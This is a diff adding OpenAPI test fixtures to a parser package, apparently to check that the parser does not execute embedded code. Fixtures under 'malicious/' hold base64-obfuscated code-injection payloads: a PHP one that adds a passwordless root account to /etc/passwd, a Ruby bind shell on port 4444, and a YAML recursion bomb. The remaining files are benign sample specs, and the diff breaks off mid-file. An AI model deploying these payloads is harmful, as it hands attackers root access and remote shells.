+        "description": "*/ namespace foobar; eval(base64_decode('Lyo8P3BocCAvKiovIEBlcnJvcl9yZXBvcnRpbmcoMCk7IEBzZXRfdGltZV9saW1pdCgwKTsgQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgJEVKTWdtPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyBpZighZW1wdHkoJEVKTWdtKSl7ICRFSk1nbT1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRFSk1nbSk7ICRFSk1nbT1leHBsb2RlKCcsJywgJEVKTWdtKTsgJEVKTWdtPWFycmF5X21hcCgndHJpbScsICRFSk1nbSk7IH1lbHNleyAkRUpNZ209YXJyYXkoKTsgfSAkYyA9IGJhc2U2NF9kZWNvZGUoIlpXTm9ieUFpZEc5dmNqbzZNRG93T2pvNkwySnBiaTlpWVhOb0lqNHZaWFJqTDNCaGMzTjNaQT09Iik7IGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicgKSkgeyAkYz0kYy4iIDI+JjFcbiI7IH0gJENVeVc9J2lzX2NhbGxhYmxlJzsgJElaYU9JPSdpbl9hcnJheSc7IGlmKCRDVXlXKCdwcm9jX29wZW4nKWFuZCEkSVphT0koJ3Byb2Nfb3BlbicsJEVKTWdtKSl7ICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOyAkbU12TVY9TlVMTDsgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7ICRtTXZNVi49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOyB9IEBwcm9jX2Nsb3NlKCRoYW5kbGUpOyB9ZWxzZSBpZigkQ1V5Vygnc3lzdGVtJylhbmQhJElaYU9JKCdzeXN0ZW0nLCRFSk1nbSkpeyBvYl9zdGFydCgpOyBzeXN0ZW0oJGMpOyAkbU12TVY9b2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyB9ZWxzZSBpZigkQ1V5VygnZXhlYycpYW5kISRJWmFPSSgnZXhlYycsJEVKTWdtKSl7ICRtTXZNVj1hcnJheSgpOyBleGVjKCRjLCRtTXZNVik7ICRtTXZNVj1qb2luKGNocigxMCksJG1Ndk1WKS5jaHIoMTApOyB9ZWxzZSBpZigkQ1V5Vygnc2hlbGxfZXhlYycpYW5kISRJWmFPSSgnc2hlbGxfZXhlYycsJEVKTWdtKSl7ICRtTXZNVj1zaGVsbF9leGVjKCRjKTsgfWVsc2UgaWYoJENVeVcoJ3BvcGVuJylhbmQhJElaYU9JKCdwb3BlbicsJEVKTWdtKSl7ICRmcD1wb3BlbigkYywncicpOyAkbU12TVY9TlVMTDsgaWYoaXNfcmVzb3VyY2UoJGZwKSl7IHdoaWxlKCFmZW9mKCRmcCkpeyAkbU12TVYuPWZyZWFkKCRmcCwxMDI0KTsgfSB9IEBwY2xvc2UoJGZwKTsgfWVsc2UgaWYoJENVeVcoJ3Bhc3N0aHJ1JylhbmQhJElaYU9JKCdwYXNzdGhydScsJEVKTWdtKSl7IG9iX3N0YXJ0KCk7IHBhc3N0aHJ1KCRjKTsgJG1Ndk1WPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgfWVsc2UgeyAkbU12TVY9MDsgfQ==')); /*",
+        "version": "1.0.0",
+        "title": "C",
+        "contact": {
+            "name": "Rapid 7",
+            "url": "https://www.rapid7.com/",
+            "email": "info@rapid7.com"
+        },
+        "license": {
+            "name": "BSD-3-clause",
+            "url": "https://opensource.org/licenses/BSD-3-Clause"
+        }
+    },
+    "tags": [
+        {
+            "name": "default"
+        }
+    ],
+    "paths": {
+        "/a": {
+            "summary": "an example path",
+            "get": {
+                "operationId": "get_a",
+                "tags": [
+                    "default"
+                ],
+                "description": "D",
+                "responses": {
+                    "200": {
+                        "description": "E",
+                        "content": {
+                            "application/json": {
+                                "schema": {
+                                    "$ref": "#/components/schemas/d"
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "d": {
+                "type": "object",
+                "description": "F",
+                "properties": {
+                    "id": {
+                        "type": "integer",
+                        "format": "int64"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-ruby.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-ruby.json
new file mode 100644
index 0000000..28e6d08
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-ruby.json
@@ -0,0 +1,65 @@
+{
+    "openapi": "3.0.0",
+    "servers": [
+        {
+            "url": "http://localhost/"
+        }
+    ],
+    "info": {
+        "description": "A",
+        "version": "1.0.0",
+        "title": "=end code = %(cmVxdWlyZSAnc29ja2V0JztzPVRDUFNlcnZlci5uZXcoNDQ0NCk7Yz1zLmFjY2VwdDtzLmNsb3NlOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen(%(ruby), %(wb)) rescue nil if inp inp.write(code) inp.close end else if ! Process.fork() eval(code) rescue nil end end=begin ",
+        "contact": {
+            "name": "Rapid 7",
+            "url": "https://www.rapid7.com/",
+            "email": "info@rapid7.com"
+        },
+        "license": {
+            "name": "BSD-3-clause",
+            "url": "https://opensource.org/licenses/BSD-3-Clause"
+        }
+    },
+    "tags": [
+        {
+            "name": "default"
+        }
+    ],
+    "paths": {
+        "/a": {
+            "summary": "an example path",
+            "get": {
+                "operationId": "get_a",
+                "tags": [
+                    "default"
+                ],
+                "description": "D",
+                "responses": {
+                    "200": {
+                        "description": "E",
+                        "content": {
+                            "application/json": {
+                                "schema": {
+                                    "$ref": "#/components/schemas/d"
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "d": {
+                "type": "object",
+                "description": "F",
+                "properties": {
+                    "id": {
+                        "type": "integer",
+                        "format": "int64"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/yamlbomb.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/yamlbomb.yaml
new file mode 100644
index 0000000..4f16a66
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/yamlbomb.yaml
@@ -0,0 +1,6 @@
+openapi: 3.0.0
+info: &a
+  version: 1.0.0
+  title: API
+  x-bye: *a
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/cycledef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/cycledef.yaml
new file mode 100644
index 0000000..0fb590e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/cycledef.yaml
@@ -0,0 +1,14 @@
+components:
+  schemas:  
+    top:
+      type: object
+      properties:
+        cat:
+          $ref: '#/components/schemas/category'
+    category:
+      type: object
+      properties:
+        subcategories:
+          type: array
+          items:
+            $ref: '#/components/schemas/category'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example2_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example2_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..f9c708f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example2_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,3 @@
+oneOf:
+  - type: string
+  - type: number
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example3_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example3_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..f65ef03
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example3_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,5 @@
+oneOf:
+  - type: number
+    multipleOf: 5
+  - type: number
+    multipleOf: 3
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example4_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example4_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..d538200
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example4_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,2 @@
+not:
+  type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example5_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example5_from_._Improved_schemaobject.md.yaml
new file mode 100644
index 0000000..edc2d39
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example5_from_._Improved_schemaobject.md.yaml
@@ -0,0 +1,8 @@
+Record:
+  type: object
+  properties:
+    id:
+      type: integer
+    color:
+      type: string
+      nullable: true
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/api-with-examples.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/api-with-examples.yaml
new file mode 100644
index 0000000..a9ac844
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/api-with-examples.yaml
@@ -0,0 +1,171 @@
+openapi: "3.0.0"
+info:
+  title: Simple API overview
+  version: 2.0.0
+paths:
+  /:
+    get:
+      operationId: listVersionsv2
+      summary: List API versions
+      responses:
+        '200':
+          description: |-
+            200 response
+          content:
+            application/json:
+              examples:
+                foo:
+                  value:
+                    {
+                    "versions": [
+                        {
+                            "status": "CURRENT",
+                            "updated": "2011-01-21T11:33:21Z",
+                            "id": "v2.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v2/",
+                                    "rel": "self"
+                                }
+                            ]
+                        },
+                        {
+                            "status": "EXPERIMENTAL",
+                            "updated": "2013-07-23T11:33:21Z",
+                            "id": "v3.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v3/",
+                                    "rel": "self"
+                                }
+                            ]
+                        }
+                    ]
+                    }
+        '300':
+          description: |-
+            300 response
+          content:
+            application/json:
+              examples:
+                foo:
+                  value:
+                   {
+                    "versions": [
+                          {
+                            "status": "CURRENT",
+                            "updated": "2011-01-21T11:33:21Z",
+                            "id": "v2.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v2/",
+                                    "rel": "self"
+                                }
+                            ]
+                        },
+                        {
+                            "status": "EXPERIMENTAL",
+                            "updated": "2013-07-23T11:33:21Z",
+                            "id": "v3.0",
+                            "links": [
+                                {
+                                    "href": "http://127.0.0.1:8774/v3/",
+                                    "rel": "self"
+                                }
+                            ]
+                        }
+                    ]
+                    }
+  /v2:
+    get:
+      operationId: getVersionDetailsv2
+      summary: Show API version details
+      responses:
+        '200':
+          description: |-
+            200 response
+          content:
+            application/json:
+              examples:
+                foo:
+                  value:
+                    {
+                    "version": {
+                      "status": "CURRENT",
+                      "updated": "2011-01-21T11:33:21Z",
+                      "media-types": [
+                          {
+                              "base": "application/xml",
+                              "type": "application/vnd.openstack.compute+xml;version=2"
+                          },
+                          {
+                              "base": "application/json",
+                              "type": "application/vnd.openstack.compute+json;version=2"
+                          }
+                      ],
+                      "id": "v2.0",
+                      "links": [
+                          {
+                              "href": "http://127.0.0.1:8774/v2/",
+                              "rel": "self"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf",
+                              "type": "application/pdf",
+                              "rel": "describedby"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                              "type": "application/vnd.sun.wadl+xml",
+                              "rel": "describedby"
+                          },
+                          {
+                            "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                            "type": "application/vnd.sun.wadl+xml",
+                            "rel": "describedby"
+                          }
+                      ]
+                    }
+                    }
+        '203':
+          description: |-
+            203 response
+          content:
+            application/json:
+              examples:
+                foo:
+                  value:
+                    {
+                    "version": {
+                      "status": "CURRENT",
+                      "updated": "2011-01-21T11:33:21Z",
+                      "media-types": [
+                          {
+                              "base": "application/xml",
+                              "type": "application/vnd.openstack.compute+xml;version=2"
+                          },
+                          {
+                              "base": "application/json",
+                              "type": "application/vnd.openstack.compute+json;version=2"
+                          }
+                      ],
+                      "id": "v2.0",
+                      "links": [
+                          {
+                              "href": "http://23.253.228.211:8774/v2/",
+                              "rel": "self"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf",
+                              "type": "application/pdf",
+                              "rel": "describedby"
+                          },
+                          {
+                              "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl",
+                              "type": "application/vnd.sun.wadl+xml",
+                              "rel": "describedby"
+                          }
+                      ]
+                    }
+                    }
+ 
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/callback-example.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/callback-example.yaml
new file mode 100644
index 0000000..1622bd0
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/callback-example.yaml
@@ -0,0 +1,60 @@
+openapi: 3.0.0
+info:
+  title: Callback Example
+  version: 1.0.0
+paths:
+  /streams:
+    post:
+      description: subscribes a client to receive out-of-band data
+      parameters:
+        - name: callbackUrl
+          in: query
+          required: true
+          description: |
+            the location where data will be sent.  Must be network accessible
+            by the source server
+          schema:
+            type: string
+            format: uri
+            example: https://tonys-server.com
+      responses:
+        '201':
+          description: subscription successfully created
+          content:
+            application/json:
+              schema:
+                description: subscription information
+                required:
+                  - subscriptionId
+                properties:
+                  subscriptionId:
+                    description: this unique identifier allows management of the subscription
+                    type: string
+                    example: 2531329f-fb09-4ef7-887e-84e648214436
+      callbacks:
+        # the name `onData` is a convenience locator
+        onData:
+          # when data is sent, it will be sent to the `callbackUrl` provided
+          # when making the subscription PLUS the suffix `/data`
+          '{$request.query.callbackUrl}/data':
+            post:
+              requestBody:
+                description: subscription payload
+                content:
+                  application/json:
+                    schema:
+                      properties:
+                        timestamp:
+                          type: string
+                          format: date-time
+                        userData:
+                          type: string
+              responses:
+                '202':
+                  description: |
+                    Your server implementation should return this HTTP status code
+                    if the data was received successfully
+                '204':
+                  description: |
+                    Your server should return this HTTP status code if no longer interested
+                    in further updates
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/link-example.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/link-example.yaml
new file mode 100644
index 0000000..5837d70
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/link-example.yaml
@@ -0,0 +1,203 @@
+openapi: 3.0.0
+info: 
+  title: Link Example
+  version: 1.0.0
+paths: 
+  /2.0/users/{username}: 
+    get: 
+      operationId: getUserByName
+      parameters: 
+      - name: username
+        in: path
+        required: true
+        schema:
+          type: string
+      responses: 
+        '200':
+          description: The User
+          content:
+            application/json:
+              schema: 
+                $ref: '#/components/schemas/user'
+          links:
+            userRepositories:
+              $ref: '#/components/links/UserRepositories'
+  /2.0/repositories/{username}:
+    get:
+      operationId: getRepositoriesByOwner
+      parameters:
+        - name: username
+          in: path
+          required: true
+          schema:
+            type: string
+      responses:
+        '200':
+          description: repositories owned by the supplied user
+          content: 
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/repository'
+          links:
+            userRepository:
+              $ref: '#/components/links/UserRepository'
+  /2.0/repositories/{username}/{slug}: 
+    get: 
+      operationId: getRepository
+      parameters: 
+        - name: username
+          in: path
+          required: true
+          schema:
+            type: string
+        - name: slug
+          in: path
+          required: true
+          schema:
+            type: string
+      responses: 
+        '200':
+          description: The repository
+          content:
+              application/json: 
+                schema: 
+                  $ref: '#/components/schemas/repository'
+          links:
+            repositoryPullRequests:
+              $ref: '#/components/links/RepositoryPullRequests'
+  /2.0/repositories/{username}/{slug}/pullrequests: 
+    get: 
+      operationId: getPullRequestsByRepository
+      parameters: 
+      - name: username
+        in: path
+        required: true
+        schema:
+          type: string
+      - name: slug
+        in: path
+        required: true
+        schema:
+          type: string
+      - name: state
+        in: query
+        schema:
+          type: string
+          enum: 
+            - open
+            - merged
+            - declined
+      responses: 
+        '200':
+          description: an array of pull request objects
+          content:
+            application/json: 
+              schema: 
+                type: array
+                items: 
+                  $ref: '#/components/schemas/pullrequest'
+  /2.0/repositories/{username}/{slug}/pullrequests/{pid}: 
+    get: 
+      operationId: getPullRequestsById
+      parameters: 
+      - name: username
+        in: path
+        required: true
+        schema:
+          type: string
+      - name: slug
+        in: path
+        required: true
+        schema:
+          type: string
+      - name: pid
+        in: path
+        required: true
+        schema:
+          type: string
+      responses: 
+        '200':
+          description: a pull request object
+          content:
+            application/json: 
+              schema: 
+                $ref: '#/components/schemas/pullrequest'
+          links:
+            pullRequestMerge:
+              $ref: '#/components/links/PullRequestMerge'
+  /2.0/repositories/{username}/{slug}/pullrequests/{pid}/merge: 
+    post: 
+      operationId: mergePullRequest
+      parameters: 
+      - name: username
+        in: path
+        required: true
+        schema:
+          type: string
+      - name: slug
+        in: path
+        required: true
+        schema:
+          type: string
+      - name: pid
+        in: path
+        required: true
+        schema:
+          type: string
+      responses: 
+        '204':
+          description: the PR was successfully merged
+components:
+  links:
+    UserRepositories:
+      # returns array of '#/components/schemas/repository'
+      operationId: getRepositoriesByOwner
+      parameters:
+        username: $response.body#/username
+    UserRepository:
+      # returns '#/components/schemas/repository'
+      operationId: getRepository
+      parameters:
+        username: $response.body#/owner/username
+        slug: $response.body#/slug
+    RepositoryPullRequests:
+      # returns '#/components/schemas/pullrequest'
+      operationId: getPullRequestsByRepository
+      parameters: 
+          username: $response.body#/owner/username
+          slug: $response.body#/slug
+    PullRequestMerge:
+      # executes /2.0/repositories/{username}/{slug}/pullrequests/{pid}/merge
+      operationId: mergePullRequest
+      parameters:
+        username: $response.body#/author/username
+        slug: $response.body#/repository/slug
+        pid: $response.body#/id
+  schemas: 
+    user: 
+      type: object
+      properties: 
+        username: 
+          type: string
+        uuid: 
+          type: string
+    repository: 
+      type: object
+      properties: 
+        slug: 
+          type: string
+        owner: 
+          $ref: '#/components/schemas/user'
+    pullrequest: 
+      type: object
+      properties: 
+        id: 
+          type: integer
+        title: 
+          type: string
+        repository: 
+          $ref: '#/components/schemas/repository'
+        author: 
+          $ref: '#/components/schemas/user'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore-expanded.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore-expanded.yaml
new file mode 100644
index 0000000..f587075
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore-expanded.yaml
@@ -0,0 +1,155 @@
+openapi: "3.0.0"
+info:
+  version: 1.0.0
+  title: Swagger Petstore
+  description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification
+  termsOfService: http://swagger.io/terms/
+  contact:
+    name: Swagger API Team
+    email: foo@example.com
+    url: http://madskristensen.net
+  license:
+    name: MIT
+    url: http://github.com/gruntjs/grunt/blob/master/LICENSE-MIT
+servers:
+  - url: http://petstore.swagger.io/api
+paths:
+  /pets:
+    get:
+      description: |
+        Returns all pets from the system that the user has access to
+        Nam sed condimentum est. Maecenas tempor sagittis sapien, nec rhoncus sem sagittis sit amet. Aenean at gravida augue, ac iaculis sem. Curabitur odio lorem, ornare eget elementum nec, cursus id lectus. Duis mi turpis, pulvinar ac eros ac, tincidunt varius justo. In hac habitasse platea dictumst. Integer at adipiscing ante, a sagittis ligula. Aenean pharetra tempor ante molestie imperdiet. Vivamus id aliquam diam. Cras quis velit non tortor eleifend sagittis. Praesent at enim pharetra urna volutpat venenatis eget eget mauris. In eleifend fermentum facilisis. Praesent enim enim, gravida ac sodales sed, placerat id erat. Suspendisse lacus dolor, consectetur non augue vel, vehicula interdum libero. Morbi euismod sagittis libero sed lacinia.
+
+        Sed tempus felis lobortis leo pulvinar rutrum. Nam mattis velit nisl, eu condimentum ligula luctus nec. Phasellus semper velit eget aliquet faucibus. In a mattis elit. Phasellus vel urna viverra, condimentum lorem id, rhoncus nibh. Ut pellentesque posuere elementum. Sed a varius odio. Morbi rhoncus ligula libero, vel eleifend nunc tristique vitae. Fusce et sem dui. Aenean nec scelerisque tortor. Fusce malesuada accumsan magna vel tempus. Quisque mollis felis eu dolor tristique, sit amet auctor felis gravida. Sed libero lorem, molestie sed nisl in, accumsan tempor nisi. Fusce sollicitudin massa ut lacinia mattis. Sed vel eleifend lorem. Pellentesque vitae felis pretium, pulvinar elit eu, euismod sapien.
+      operationId: findPets
+      parameters:
+        - name: tags
+          in: query
+          description: tags to filter by
+          required: false
+          style: form
+          schema:
+            type: array
+            items:
+              type: string
+        - name: limit
+          in: query
+          description: maximum number of results to return
+          required: false
+          schema:
+            type: integer
+            format: int32
+      responses:
+        200:
+          description: pet response
+          content:
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: '#/components/schemas/Pet'
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Error'
+    post:
+      description: Creates a new pet in the store.  Duplicates are allowed
+      operationId: addPet
+      requestBody:
+        description: Pet to add to the store
+        required: true
+        content:
+          application/json:
+            schema:
+              $ref: '#/components/schemas/NewPet'
+      responses:
+        200:
+          description: pet response
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Pet'
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Error'
+  /pets/{id}:
+    get:
+      description: Returns a user based on a single ID, if the user does not have access to the pet
+      operationId: find pet by id
+      parameters:
+        - name: id
+          in: path
+          description: ID of pet to fetch
+          required: true
+          schema:
+            type: integer
+            format: int64
+      responses:
+        200:
+          description: pet response
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Pet'
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Error'
+    delete:
+      description: deletes a single pet based on the ID supplied
+      operationId: deletePet
+      parameters:
+        - name: id
+          in: path
+          description: ID of pet to delete
+          required: true
+          schema:
+            type: integer
+            format: int64
+      responses:
+        204:
+          description: pet deleted
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: '#/components/schemas/Error'
+components:
+  schemas:
+    Pet:
+      allOf:
+        - $ref: '#/components/schemas/NewPet'
+        - required:
+          - id
+          properties:
+            id:
+              type: integer
+              format: int64
+
+    NewPet:
+      required:
+        - name  
+      properties:
+        name:
+          type: string
+        tag:
+          type: string    
+
+    Error:
+      required:
+        - code
+        - message
+      properties:
+        code:
+          type: integer
+          format: int32
+        message:
+          type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore.yaml
new file mode 100644
index 0000000..b444f02
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore.yaml
@@ -0,0 +1,109 @@
+openapi: "3.0.0"
+info:
+  version: 1.0.0
+  title: Swagger Petstore
+  license:
+    name: MIT
+servers:
+  - url: http://petstore.swagger.io/v1
+paths:
+  /pets:
+    get:
+      summary: List all pets
+      operationId: listPets
+      tags:
+        - pets
+      parameters:
+        - name: limit
+          in: query
+          description: How many items to return at one time (max 100)
+          required: false
+          schema:
+            type: integer
+            format: int32
+      responses:
+        200:
+          description: An paged array of pets
+          headers:
+            x-next:
+              description: A link to the next page of responses
+              schema:
+                type: string
+          content:
+            application/json:    
+              schema:
+                $ref: "#/components/schemas/Pets"
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+    post:
+      summary: Create a pet
+      operationId: createPets
+      tags:
+        - pets
+      responses:
+        201:
+          description: Null response
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+  /pets/{petId}:
+    get:
+      summary: Info for a specific pet
+      operationId: showPetById
+      tags:
+        - pets
+      parameters:
+        - name: petId
+          in: path
+          required: true
+          description: The id of the pet to retrieve
+          schema:
+            type: string
+      responses:
+        200:
+          description: Expected response to a valid request
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Pets"
+        default:
+          description: unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+components:
+  schemas:
+    Pet:
+      required:
+        - id
+        - name
+      properties:
+        id:
+          type: integer
+          format: int64
+        name:
+          type: string
+        tag:
+          type: string
+    Pets:
+      type: array
+      items:
+        $ref: "#/components/schemas/Pet"
+    Error:
+      required:
+        - code
+        - message
+      properties:
+        code:
+          type: integer
+          format: int32
+        message:
+          type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uber.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uber.yaml
new file mode 100644
index 0000000..b7dea7a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uber.yaml
@@ -0,0 +1,298 @@
+# this is an example of the Uber API
+# as a demonstration of an API spec in YAML
+openapi: "3.0.0"
+info:
+  title: Uber API
+  description: Move your app forward with the Uber API
+  version: "1.0.0"
+servers:
+  - url: https://api.uber.com/v1
+paths:
+  /products:
+    get:
+      summary: Product Types
+      description: The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order.
+      parameters:
+        - name: latitude
+          in: query
+          description: Latitude component of location.
+          required: true
+          schema:
+            type: number
+            format: double
+        - name: longitude
+          in: query
+          description: Longitude component of location.
+          required: true
+          schema:
+            type: number
+            format: double
+      security: 
+        - apikey: []
+      tags: 
+        - Products
+      responses:  
+        200:
+          description: An array of products
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/ProductList"
+        default:
+          description: Unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+  /estimates/price:
+    get:
+      summary: Price Estimates
+      description: The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.<br><br>The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier.
+      parameters:
+        - name: start_latitude
+          in: query
+          description: Latitude component of start location.
+          required: true
+          schema:
+            type: number
+            format: double
+        - name: start_longitude
+          in: query
+          description: Longitude component of start location.
+          required: true
+          schema:
+            type: number
+            format: double
+        - name: end_latitude
+          in: query
+          description: Latitude component of end location.
+          required: true
+          schema:
+            type: number
+            format: double
+        - name: end_longitude
+          in: query
+          description: Longitude component of end location.
+          required: true
+          schema:
+            type: number
+            format: double
+      tags: 
+        - Estimates
+      responses:  
+        200:
+          description: An array of price estimates by product
+          content:
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: "#/components/schemas/PriceEstimate"
+        default:
+          description: Unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+  /estimates/time:
+    get:
+      summary: Time Estimates
+      description: The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs.
+      parameters:
+        - name: start_latitude
+          in: query
+          description: Latitude component of start location.
+          required: true
+          schema:
+            type: number
+            format: double
+        - name: start_longitude
+          in: query
+          description: Longitude component of start location.
+          required: true
+          schema:
+            type: number
+            format: double
+        - name: customer_uuid
+          in: query
+          schema:
+            type: string
+            format: uuid
+          description: Unique customer identifier to be used for experience customization.
+        - name: product_id
+          in: query
+          schema:
+            type: string
+          description: Unique identifier representing a specific product for a given latitude & longitude.
+      tags: 
+        - Estimates
+      responses:  
+        200:
+          description: An array of products
+          content:
+            application/json:
+              schema:
+                type: array
+                items:
+                  $ref: "#/components/schemas/Product"
+        default:
+          description: Unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+  /me:
+    get:
+      summary: User Profile
+      description: The User Profile endpoint returns information about the Uber user that has authorized with the application.
+      tags: 
+        - User
+      responses:
+        200:
+          description: Profile information for a user
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Profile"
+        default:
+          description: Unexpected error
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/Error"
+  /history:
+    get:
+      summary: User Activity
+      description: The User Activity endpoint returns data about a user's lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.<br><br>The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary.
+      parameters:
+        - name: offset
+          in: query
+          schema:
+            type: integer
+            format: int32
+          description: Offset the list of returned results by this amount. Default is zero.
+        - name: limit
+          in: query
+          schema:
+            type: integer
+            format: int32 
+          description: Number of items to retrieve. Default is 5, maximum is 100.
+      tags: 
+        - User
+      responses:
